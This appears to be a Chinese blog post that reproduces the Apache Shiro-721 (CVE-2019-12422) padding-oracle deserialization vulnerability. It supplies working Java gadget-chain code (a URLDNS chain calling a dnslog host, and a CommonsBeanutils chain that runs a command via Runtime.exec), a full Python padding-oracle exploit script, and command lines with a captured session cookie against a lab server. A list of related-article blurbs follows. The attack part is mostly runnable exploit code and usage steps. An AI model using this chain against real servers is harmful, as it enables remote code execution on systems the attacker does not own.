shiro721——CVE-2019-12422

Shiro-721反序列化漏洞 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序,用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞Shiro的反序列化漏洞有Shiro-550与Shiro-721。 阅读详情

这两个漏洞主要区别在于Shiro550使⽤已知密钥碰撞,后者Shiro721是使⽤ 登录后rememberMe= {value}去爆破正确的key值 进⽽反序列化,对⽐Shiro550条件只要有 ⾜够密钥库 (条件⽐较低)、Shiro721需要登录(要求⽐较⾼鸡肋 )。Apache Shiro < 1.4.2 默认使⽤ AES/CBC/PKCS5Padding 模式

1.漏洞详细

shiro721⽤到的加密⽅式是AES-CBC,⽽且其中的ase加密的key基本猜不到了,是系统随机⽣成的。⽽cookie解析过程跟cookie的解析过程⼀样,也就意味着如果能伪造恶意的rememberMe字段的值且⽬标含有可利⽤的攻击链的话,还是能够进⾏RCE的。
通过Padding Oracle Attack攻击可以实现破解AES-CBC加密过程进⽽实现rememberMe的内容伪造。

2.漏洞测试

⼀次成功的Shiro Padding Oracle需要⼀直向服务器不断发包,判断服务器返回,攻击时间通常需要⼏个⼩时。由于此漏洞利⽤起来耗时时间特别⻓,很容易被waf封禁,因此在真实的红队项⽬中,极少有此漏洞的攻击成功案例
这⾥测试的时候cb这条利⽤链 如果在⽬标上最好测试urldns链。。
漏洞环境:
在这里插入图片描述

Urldns链

我们先用urldns链来测试漏洞是否存在
Urldns.java:

package shiroTest;

import java.io.File;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class Urldns {
    public static void main(String[] args) throws Exception {
                /*
        利用链:
            ObjectInputStream#readObject() -> HashMap.readObject(ObjectInputStream in)
            HashMap -> hash()
            URL -> hashCode()
            URLStreamHandler -> hashCode()
            URLStreamHandler -> getHostAddress()
            URL -> getHostAddress()
            InetAddress -> getByName()
         */
        HashMap hashMap = new HashMap();
        URL url = new URL("http://zx5db7.dnslog.cn");

        /*
        URL:
            private int hashCode = -1;

            public synchronized int hashCode() {
                if (hashCode != -1)
                    return hashCode;
                hashCode = handler.hashCode(this);
                return hashCode;
            }

        HashMap.put()和本利用链都会执行至URL.hashCode()
        */
        Field hashCodeField = url.getClass().getDeclaredField("hashCode");
        hashCodeField.setAccessible(true);

        // 阻止创建payload时触发请求
        hashCodeField.set(url, 0);
        hashMap.put(url, null);
        // 使利用链执行时能够触发请求
        hashCodeField.set(url, -1);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("ser.bin")));
        oos.writeObject(hashMap);
        oos.close();
    }
}

在这里插入图片描述

我们利用Urldns代码进行运行,得到ser.bin
然后我们用脚本工具来攻击

python2 shiro_exp.py http://192.168.0.165:8081/samples_web_war/ 4H3erAR79b/6xCWMc6frkHaVXAMfAh4avZrC0NgaiKXopofAml4TmzHXmV+H4s33OLCnx5Qf1FDPEtedyv5DRR/P3fUZni3sTdf/kXy3KzlkOFdk9y6PlDAV0T38Yog8E0gG3w5+ByakoAlbU1RHgIDQYTDJDc3hXntzBAHp8czlfVlHG527vWGQKXLPszLv4bcaru1ZTOhPexuyPuz7iDZRVDBF4H+Hd7IpaQE0RYGjJrg7VDWeTHE+aE3Ana+5yt98Hk2d6j4E0rVQLQgxI/0Xyp5CXwwkKOyyYpbh+wjOOlcZGIapr4MFI1QuKgI7hhUWOIuvQjp/MsM3RYWNjpamnX2FYLQ9wFPcHB1rQK1BDyOSoFiO6khvnIEZAChRFVSchP/gSHblHy4Vgz2hmCNnb+GvPqI8lLr6cprGKKhntO3Z2FWMoe2DjAMnO49euDIErGI1aZMVL3aUQom1Q2fZWu0lV1xXy+p47QS+WzSlDpVZvcjn1TgMq8W164/p ser.bin
# -*- coding: utf-8 -*-
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib import quote, unquote
import requests
import socket
import time


class PadBuster(PaddingOracle):
    def __init__(self, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = requests.Session()
        # self.session.cookies['JSESSIONID'] = '18fa0f91-625b-4d8b-87db-65cdeff153d0'
        self.wait = kwargs.get('wait', 2.0)

    def oracle(self, data, **kwargs):
        somecookie = b64encode(b64decode(unquote(sys.argv[2])) + data)
        self.session.cookies['rememberMe'] = somecookie
        if self.session.cookies.get('JSESSIONID'):
            del self.session.cookies['JSESSIONID']

        # logging.debug(self.session.cookies)

        while 1:
            try:
                response = self.session.get(sys.argv[1],
                        stream=False, timeout=5, verify=False)
                break
            except (socket.error, requests.exceptions.RequestException):
                logging.exception('Retrying request in %.2f seconds...',
                                  self.wait)
                time.sleep(self.wait)
                continue

        self.history.append(response)

        # logging.debug(response.headers)

        if response.headers.get('Set-Cookie') is None or 'deleteMe' not in response.headers.get('Set-Cookie'):
            logging.debug('No padding exception raised on %r', somecookie)
            return

        # logging.debug("Padding exception")
        raise BadPaddingException


if __name__ == '__main__':
    import logging
    import sys

    if not sys.argv[3:]:
        print 'Usage: %s <url> <somecookie value> <payload>' % (sys.argv[0], )
        sys.exit(1)

    logging.basicConfig(level=logging.DEBUG)
    encrypted_cookie = b64decode(unquote(sys.argv[2]))

    padbuster = PadBuster()

    payload = open(sys.argv[3], 'rb').read()

    enc = padbuster.encrypt(plaintext=payload, block_size=16)

    # cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8))

    # print('Decrypted somecookie: %s => %r' % (sys.argv[1], enc))
    print('rememberMe cookies:')
    print(b64encode(enc))

在这里插入图片描述
开始爆破
在这里插入图片描述
可以看到成功生成cookie
上面命令中的cookie值从以下取得
在这里插入图片描述
注意这里必须登录成功才能利用成功,后台的所有的cookie值都一样

cb链

我们再使用cb链来爆破
cb.java:

package shiroTest;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class cb {

    // 修改值的方法,简化代码

    public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{

        Field field = object.getClass().getDeclaredField(fieldName);

        field.setAccessible(true);

        field.set(object, value);

    }

    public static void main(String[] args) throws Exception {

        // 创建恶意类,用于报错抛出调用链

        ClassPool pool = ClassPool.getDefault();

        CtClass payload = pool.makeClass("EvilClass");

        payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));

        payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");

        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

        byte[] evilClass = payload.toBytecode();

        TemplatesImpl templates = new TemplatesImpl();

        setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});

        setFieldValue(templates, "_name", "test");

        setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

        BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);

        queue.add("1");

        queue.add("1");

        setFieldValue(beanComparator, "property", "outputProperties");

        setFieldValue(queue, "queue", new Object[]{templates, templates});

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));

        out.writeObject(queue);

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.bin"));

        in.readObject();

    }

}

在这里插入图片描述
可以看到cb链是运行弹出计算器,且生成了ser.bin文件,我们将该文件名字改为calc.bin文件
在这里插入图片描述
cookie值不变,还是成功登录的cookie,继续开始cb链爆破

等待即可
也可以使用PaddingOracleAttack-1.0-SNAPSHOT.jar工具,但是感觉比较慢,没有前面介绍的工具好用,一般用前面的即可
PaddingOracleAttack-1.0-SNAPSHOT.jar使用方式:

java -jar PaddingOracleAttack-1.0-SNAPSHOT.jar http://192.168.0.165:8081/samples_web_war/ 4H3erAR79b/6xCWMc6frkHaVXAMfAh4avZrC0NgaiKXopofAml4TmzHXmV+H4s33OLCnx5Qf1FDPEtedyv5DRR/P3fUZni3sTdf/kXy3KzlkOFdk9y6PlDAV0T38Yog8E0gG3w5+ByakoAlbU1RHgIDQYTDJDc3hXntzBAHp8czlfVlHG527vWGQKXLPszLv4bcaru1ZTOhPexuyPuz7iDZRVDBF4H+Hd7IpaQE0RYGjJrg7VDWeTHE+aE3Ana+5yt98Hk2d6j4E0rVQLQgxI/0Xyp5CXwwkKOyyYpbh+wjOOlcZGIapr4MFI1QuKgI7hhUWOIuvQjp/MsM3RYWNjpamnX2FYLQ9wFPcHB1rQK1BDyOSoFiO6khvnIEZAChRFVSchP/gSHblHy4Vgz2hmCNnb+GvPqI8lLr6cprGKKhntO3Z2FWMoe2DjAMnO49euDIErGI1aZMVL3aUQom1Q2fZWu0lV1xXy+p47QS+WzSlDpVZvcjn1TgMq8W164/p 16 calc.bin

爆破出来之后,替换rememberMe即可,替换时候,要将JSESSIONID删除掉
第一个urldns链:
在这里插入图片描述
在这里插入图片描述

dnslog没有成功,但方法正确

第二个cb链:

在这里插入图片描述
放到bp中运行即可弹出计算器

CVE-2019-12422 Shiro721反序列化漏洞 CVE-2019-12422 Shiro721反序列化漏洞 前面分析了Shiro550,导致Shrio550漏洞的原因是Shiro存在默认key,当服务器端的默认key没有修改,则攻击者可以利用这个默认key进行传输任意的rememberMe字段Cookie,这个rememberMe字段Cookie传输到服务器端之后会被反序列化! 而在shiro1.2.5及以后的版本怎么利用呢? 阅读详情

相关推荐

shiro 721 反序列化漏洞复现与原理以及Padding Oracle Attack攻击加解密原理

文章目录利用条件shiro550shiro721环境搭建漏洞复现 利用条件 shiro550 知道key且目标服务器含有可利用的攻击链 影响版本:1.2.4以下 shiro721 知道已经登陆用户的合法cookie,利用padding orcale 加密生成恶意rememberme的值进行利用 影响版本: 1.2.5, 1.2.6, 1.3.0, 1.3.1, 1.3.2, 1.4.0-RC2, 1.4.0, 1.4.1 环境搭建 git clone https://github.com/inspiri

Shanfenglan's blog 1万+

CVE-2019-12422漏洞分析

CVE-2019-12422漏洞分析

include_voidmain的博客 2119

Shiro 721漏洞实战:从Padding Oracle Attack到完整RCE利用(附Docker复现环境)

本文深入解析Apache Shiro 721漏洞(CVE-2019-12422),详细介绍了从Padding Oracle Attack到完整RCE利用的攻击链构建过程。通过AES-CBC加密弱点分析、实战攻击步骤分解及防御方案,帮助安全研究人员深入理解该反序列化漏洞的利用与防护。

weixin_29234509的博客 445

【网络安全---漏洞复现】shiro721反序列化漏洞(CVE-2019-12422)原理与漏洞复现和利用(保姆级的详细教程)

shiro721反序列化漏洞(CVE-2019-12422)原理与漏洞复现和利用(保姆级的详细教程);详细还原了漏洞和漏洞利用方式;Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序;

m0_67844671的博客 5766

别再只盯着默认密钥了:Shiro 721漏洞(Padding Oracle Attack)原理与手工复现指南

本文深入解析了Apache Shiro框架中的Shiro 721漏洞(CVE-2019-12422),详细介绍了Padding Oracle攻击原理及其在随机密钥环境下的手工复现方法。通过实战演示和代码示例,帮助安全人员理解漏洞利用条件与防御策略,提升Java应用安全防护能力。

weixin_33728268的博客 129

深入解析Shiro-721漏洞:Padding Oracle攻击原理与防御措施

本文深入解析Shiro-721漏洞(CVE-2019-12422)的Padding Oracle攻击原理与防御措施。通过剖析AES-CBC模式的设计缺陷,揭示攻击者如何利用错误信息侧信道突破系统防线,并提供企业级防御方案,包括加密方案优化、防御性编程实践和立体化检测响应策略。

weixin_30566063的博客 60

Shiro-721 反序列化复现(CVE-2019-12422)

Shiro-721 (CVE-2019-12422) 漏洞复现摘要 Apache Shiro 1.2.5-1.4.1版本中,RememberMe功能采用AES-CBC加密模式,存在Padding Oracle漏洞。攻击者可通过合法Cookie,利用Padding Oracle攻击(无需密钥)构造恶意反序列化payload。与Shiro-550不同,721漏洞要求先获取合法账号Cookie,攻击需数十万次请求。复现过程包括:搭建靶场环境(Shiro 1.2.6+Oracle端点)、验证单块算法、构造完整CB1

Go_change的博客 371

Cesium中实现GPU计算的泥石流地形侵蚀

通过模拟分析,可以提前识别可能发生泥石流的区域,为防灾减灾提供依据,及时发布预警,避免或减少人员伤亡和财产损失。:在建设公路、桥梁、水库等基础设施时,通过泥石流模拟分析,可以预测泥石流可能对这些设施的影响,帮助工程设计者采取合适的防护措施,确保设施的安全性。:模拟分析有助于为灾后救援工作提供科学依据,确定受灾区域的范围、救援难度等,为救援队伍制定合理的行动方案,提升救援效率。:泥石流是山区常见的地质灾害之一,通过模拟分析可以评估某一地区发生泥石流的风险,指导土地使用规划、人口迁移等决策。

weixin_43481439的博客 1321

Apache Shiro721 反序列化漏洞(CVE-2019-12422)

Shiro550和Shiro721的区别在于,Shiro550的AES密钥是硬编码固定的,攻击者可以利用该密钥进行恶意数据伪造生成一个cookie的rememberMe值,服务器在使用相同的密钥进行解密导致恶意构造数据得以执行。而Shiro721的ASE密钥是系统随机生成的,需要通过登录成功后得到rememberMe值,将rememberMe值作为前缀和命令执行的payload进行爆破,生成正确的rememberMe cookie实现payload的执行。使用的工具在github上都有。

Long___Xiao的博客 717

STM32F1的USB接口-自定义HID

设置USB VID:1155 PID :22352。

chilian12321的博客 839

Visual Studio Code 打开java项目

在 Visual Studio Code 中打开并运行一个 Java 项目之前,你需要确保你已经完成了一些初始设置。

2674

Shiro-721—漏洞分析(CVE-2019-12422)

Shiro-721漏洞的简单分析与总结(CVE-2019-12422)

本散修的一些学习心得与笔记,道友请自便。 1658

Microapp 接入vite子应用

MicroApp接入vite版本,干货满满,手把手步骤说明,加上报错说明,赶紧上车!

outsider76557的博客 4660

Shiro721 反序列化漏洞(CVE-2019-12422)

Apache Shiro 是一个功能强大且灵活的开源安全框架,可以干净地处理身份验证,授权,企业会话 Management 和加密。 Apache Shiro 的首要目标是易于使用和理解。安全有时可能非常复杂,甚至会很痛苦,但不一定如此。框架应尽可能掩盖复杂性,并公开干净直观的 API,以简化开发人员确保其应用程序安全的工作。

qq_68163788的博客 3000

蓝牙学习笔记之HCI协议(一)

目录 协议浅述 HCI简介 HCI协议数据格式 HCI Command Packet HCI ACL Data Packet HCI Synchronous(SCO) Data Packet HCI Event Packet HCI命令和事件介绍 Inquiry command Write Local Name Command Read BD_ADDR Command H...

在云巅的博客 2万+

铁路场景雷达点云目标识别与追踪系统

本文介绍了一种基于毫米波雷达的铁路货运车站安全监控系统。该系统采用分布式架构,通过多个毫米波雷达节点采集点云数据,经过坐标转换、多雷达融合等处理后,利用机器学习算法实现列车、行人等目标的实时识别与追踪。系统包含数据采集层、处理层、目标识别层、追踪层、预警决策层和可视化层,能够克服传统视频监控受环境影响大的缺点,实现全天候可靠监测。文中详细展示了雷达数据解析和点云预处理的代码实现,包括坐标转换、数据格式解析和体素网格滤波等关键技术。该系统可有效预警铁路场景下的碰撞风险,提升货运车站的安全管理水平。

huanghm88的专栏 125

面试常问的问题:Shiro550漏洞复现详解与shiro721分析

4.我们对shiro服务端进行代码分析。

ddingddding的博客 178

cefshap(C#)定义浏览器的右键菜单

菜单效果:复制(自带),搜索文本,打开链接,复制链接,刷新,检查,关于 public class MenuHandler : IContextMenuHandler { //public event Action<string> PopupRequest; void IContextMenuHandler.OnBeforeContextMenu(IWebBrowser browserControl, IBrows

无线智能模块 可视DIY智能专家 1705

Apache Shiro 核心漏洞与实战利用指南

Apache Shiro 是 Java 领域使用极其广泛的开源安全框架,主要用于身份验证(Authentication)、授权(Authorization)、密码学(Cryptography)和会话管理(Session Management)。然而,由于其过去在 Cookie 处理和反序列化机制上的设计缺陷,产生了网络安全史上非常经典的漏洞类型,如和。

2302_80307588的博客 393

华为OD机试 - 学校的位置 - 数学问题(Python/JS/C/C++ 2024 B卷 100分)

华为OD机试 2024E卷题库疯狂收录中,刷题。

学Java,找哪吒 455

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

shiro反序列化-550&721

清楚了shiro的工作流程,工作流程中也说了,是有反序列化操作的,既然有反序列化,就要看我们序列化的内容是否可控,也就是rememberMe字段中的内容是否可控,乍一看肯定是不行的,虽然base64相当于明文,但是AES可不是,AES是有秘钥的,值得回味的是,shiro的默认秘钥是个硬编码写在代码里面了,源码也是默认的,用户也没有更换的话,那么就给了我们构造序列化数据的机会了影响版本。

黑白的博客 6471

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

Shiro框架漏洞分析与复现

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性,可以快速轻松地保护任何应用程序——从最小的移动应用程序到最大的 Web 和企业应用程序。

未完成的歌~的博客 5316

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

Shiro721漏洞实战:Padding Oracle攻击原理与自动化利用工具解析

在Web应用安全领域,加密算法的实现缺陷常成为攻击突破口。AES-CBC模式结合PKCS5Padding填充是常见的加密方案,其核心原理是通过分组加密和填充机制确保数据完整性。然而,当服务器对解密后的填充验证返回不同错误响应时,便形成了“Padding Oracle”(填充预言机),攻击者可利用此侧信道信息,在无需密钥的情况下逐字节破解密文,最终实现数据篡改或伪造。这项技术价值在于揭示了加密实现中“错误处理一致性”的重要性,被广泛应用于对使用CBC模式的应用进行安全审计。在Java安全框架Apache Sh

weixin_30387799的博客 398

Shiro反序列化漏洞深度解析:从原理到攻防实战

Java反序列化漏洞是Java安全领域的经典议题,其核心原理在于Java对象序列化与反序列化过程中,攻击者通过构造恶意序列化数据,在目标系统反序列化时触发任意代码执行。这一机制常被用于远程命令执行(RCE),对Web应用安全构成严重威胁。在众多Java框架中,Apache Shiro因其广泛用于认证授权,其RememberMe功能的实现缺陷,特别是默认密钥与不安全反序列化的结合,导致了Shiro-550等高风险漏洞的长期存在。攻击者利用此漏洞,可结合内存马技术实现持久化控制,而防御则需从密钥管理、反序列化过

weixin_34054931的博客 626

shiro漏洞复现--vulhub

复现shiro框架的常见漏洞;vulhub;CVE-2016-4437,shiro-550;CVE-2019-12422,shiro-721;CVE-2020-1957。

ccc_9wy的博客 1567
上一篇: java动态代理
下一篇: 安卓-AndroidManifest.xml修复
qieziwa(boy)
博客等级 码龄7年 5712粉丝 160原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值